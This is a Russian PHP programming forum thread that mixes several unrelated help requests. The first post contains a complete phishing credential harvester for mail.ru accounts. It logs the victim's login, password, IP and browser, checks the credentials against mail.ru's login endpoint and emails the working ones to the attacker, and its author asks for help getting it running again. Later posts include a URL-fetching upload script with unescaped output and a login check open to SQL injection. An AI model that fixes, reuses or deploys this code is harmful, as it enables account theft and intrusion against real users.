Здравствуйте. Вкладываю код для проверка лог и пароль на сайт маил.ру. Раньше этот код работал а сейчас не работает. Нужно помошь по правке Пхп кода PHP: <?PHP $Login = $_POST['Login']; $Domain = $_POST['Domain']; $Pass = $_POST['Password']; $Browser = getenv("HTTP_USER_AGENT"); $Port = getenv("REMOTE_PORT"); $Connect = $_SERVER['HTTP_CONNECTION']; $Host = gethostbyaddr(getenv("REMOTE_ADDR")); $ip = $_SERVER["REMOTE_ADDR"]; $Data = date("d-m-y H:i:s", time()); if ((empty($Login))or (empty($Pass))) {echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>"; exit; }; $text = "[$Data] Browser:[$Browser] Port:[$Port] Connect:[$Connect] Host:[$Host] IP:$ip ADRESS:$Login@$Domain PASSWORD:$Pass"; $to = "почта@mail.ru"; //тут прописываем нашу почту, $sub = "ready $Login@$Domain"; //тут прописываем тему письма $filelog = fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли fwrite($filelog,"\n $text \n\n"); fclose($filelog); // $url = 'https://auth.mail.ru/cgi-bin/auth'; $params = "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1"; $user_agent = "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $ch = curl_init("http://win.mail.ru/cgi-bin/login"); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$params); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $result=curl_exec($ch); curl_close ($ch); $pattern='/http:\/\/win.mail.ru\/cgi-bin\/checkcookie/'; if (preg_match($pattern, $result) == 0) { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>"; } else { @mail($to,$sub,$text); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>"; }; ?>
PHP: <?PHP $Login = $_POST['Login']; $Domain = $_POST['Domain']; $Pass = $_POST['Password']; $url = 'https://auth.mail.ru/cgi-bin/auth'; $params = "Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&saveauth=1&new_auth_form=1&page=&post=&login_from=&lang=ru_RU&setLang=ru_RU"; $user_agent = "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$params); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $result=curl_exec($ch); curl_close ($ch); $pattern='/https:\/\/e.mail.ru\/login/'; if (!preg_match($pattern, $result) == 0) { echo "неправильный"; } else { echo "правильный"; }; ?> прочти http://www.zakonrf.info/uk/272/
Подскажите, вот есть такой скрипт удалённой заливки файлов на сервер PHP: <?php $rc = stripslashes($_GET['url']); $rc_path = parse_url($rc); $st = './folder'.basename($rc_path['path']); copy($rc,$st); ?> <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="GET"> <input type="text" name="url" value="<?php echo $_GET['url']; ?>"> <input type="submit"> </form> Как туда добавить выпадающий список, где можно будет выбрать допустим из 3-х папок куда лить?
Прошу совета %) нужно из input type=text передать информацию для формирования массива. Есть форма PHP: <form action="#" method="post"> <input type="text" name="pole" value=""> <input type="submit" name="submit" value="submit"> </form> при вводе: "hi,world,!" получался массив: Array ( [0] => hi [1] => world [2] => ! ) Запятой что бы разделяли элементы массива. Как реализовать? Буду благодарен за подсказку или за рабочий пример
PHP: $rc = stripslashes($_GET['url']); $rc_path = parse_url($rc); $st = './folder'.basename($rc_path['path']); copy($rc,$st); function get_leaf_dirs($dir) { $array = array(); $d = @dir($dir); if($d) { while (false !== ($entry = $d->read())) { if($entry!='.' && $entry!='..') { $entry = $dir.'/'.$entry; if(is_dir($entry)) { $subdirs = get_leaf_dirs($entry); if ($subdirs) $array = array_merge($array, $subdirs); else $array[] = $entry; } } } $d->close(); } return $array; } $fs=get_leaf_dirs('folder'); $x=count($fs); ?> <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="GET"> <input type="text" name="url" value="<?php echo $_GET['url']; ?>"> <select class="input" type="text" name="patch"> <?php for($i=0; $i<$x; $i++) { echo "<option value='".$fs[$i]."'>".$fs[$i]."</option>"; } ?> </select> <input type="submit"> </form> вы наверное об этом? PHP: $x="hi,world,!"; $y=explode(",", $x); echo $y['0']; echo $y['1']; echo $y['2'];
Голову поломал. код: PHP: if($_GET['code']){ $data=file_get_contents('https://oauth.vk.com/access_token?client_id=мой ид&client_secret=секрет жеж)&code='.$_GET['code'].'&redirect_uri=http://shcoding.esy.es/dict/vk_login.php'); $data=json_decode($data); print_r($data); if($data->user_id){ $hash=$data->access_token; $query=mysql_query("SELECT * FROM dt_users WHERE vk_id=".$data->user_id); if($user=mysql_fetch_assoc($query)){ //тут все ок }else{ $link="https://api.vk.com/method/users.get?user_ids=".$data->user_id."&v=5.21&access_token=".$hash; $vk_user=file_get_contents($link); $vk_user=json_decode($vk_user); echo "<br><a href='".$link."'>".$link."</a><br>"; //ВОТ ТУТ ПУСТО! хотя при открытии ссылки отображается всё,как в документации print_r($vk_user); WTF??
winstrool так почему то не работает. Нужно добавить к этому скрипту выпадающий список, где самому можно прописать постоянные названия папок. Т.е чтобы в этой переменной $st = './folder'.basename($rc_path['path']); из выпадающего списка выбираласьь папка. PHP: <?php $rc = stripslashes($_GET['url']); $rc_path = parse_url($rc); $st = './folder'.basename($rc_path['path']); copy($rc,$st); ?> <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="GET"> <input type="text" name="url" value="<?php echo $_GET['url']; ?>"> <input type="submit"> </form>
Есть такой кусок: PHP: $uploaddir = "files/".$_SESSION['login']; if (move_uploaded_file($_FILES['document']['tmp_name'], $uploaddir. $_FILES['document']['name'])) { print "Success!"; } [...] Задается директория, которая заранее создается, после чего загруженный файл должен перемещаться в нее, но этого не происходит, а файл создается в files/ с именем $_SESSION['login'] и tmp_name. Что делать, как быть?)
Не совсем ясна суть проблемы. Нужно, чтобы файл помещался в "files/$_SESSION['login']/$_FILES['document']['name']"? Если да, тогда: PHP: $uploaddir = "files/".$_SESSION['login']."/";
PHP: <?php while( $data = mysql_fetch_array(mysql_query("select * from users where login = ".$_SESSION['login']))) { print ($data['name']. , .$data['lastname']); } ?> Чую тут что-то не так Нужно вывести из таблицы users, где логин $_SESSION['login'], поля name и lastname через пробел в html страницу.
Вывод через пробел: PHP: echo($data['name'].' '.$data['lastname']); И лучше к входному параметру (в данном случае $_SESSION) перед обращением к бд применить функцию Trim()
Сделал так: PHP: $query_srting = mysql_query("select * from users where login = '{$_SESSION['login']}' limit 1"); $return_array = mysql_fetch_array($query_srting); echo $return_array['name'].','.$return_array['lastname']; Еще вопрос, правильна ли конструкция? PHP: if( isset($_POST["login"]) AND !empty($_POST["login"]) AND !($row = checkPass($_POST["login"], md5($_POST["password"]))) ) Ибо у меня всегда валид проверка получается.
Если checkPass возвращает false при неверных логин/пароль , то надо так: PHP: // !empty уже проверяет isset if( !empty($_POST["login"]) AND !empty($_POST["password"]) AND $row = checkPass($_POST["login"], md5($_POST["password"])) ) { // correct } else { // incorrect }
Да, возвращает false при неверных значениях. PHP: function checkPass($login, $password) { global $link; $query="SELECT login, password FROM users WHERE login='$login' and password='$password'"; $result=mysql_query($query, $link) or die("checkPass fatal error: ".mysql_error()); if(mysql_num_rows($result)==1) { $row=mysql_fetch_array($result); return $row; } return false; } В итоге твой варант не взлетел ) Тупо сразу true и переадресовывает на account )
Ravenous, а что ты с респонс делаешь? Где-то идет утечка памяти. Делай unset того что больше не используешь
Ну во первых тут скуль, во вторых уже сто раз говорили не используйте LIKE при сверке пароля. Сначала вытаскиваем логин и пасс. Проверяем существует ли логин и если логин существует уже проверяем подходит ли пасс. PHP: function checkPass($login, $password) { global $link; $query = "SELECT `login`, `password` FROM `users` WHERE `login`= '" . mysql_real_escape_string($login) . "'"; $result = mysql_query($query, $link) or die("checkPass fatal error: ".mysql_error()); $row = mysql_fetch_array($result); if (isset($row["password"], $row["login"]) && trim($row["password"]) != ''&& !is_null($row["password"] )) { if ($row["password"] == $password) return $row; } return false; }
Не увидел, где в коде LIKE используется, но в итоге то, почему нельзя LIKE юзать? За скули да, в курсе, код не мой, поэтому сначала все разберу, потом все пофиксю ) В итоге, поставил переписанную тобой функцию, но ошибка опять же вылазит.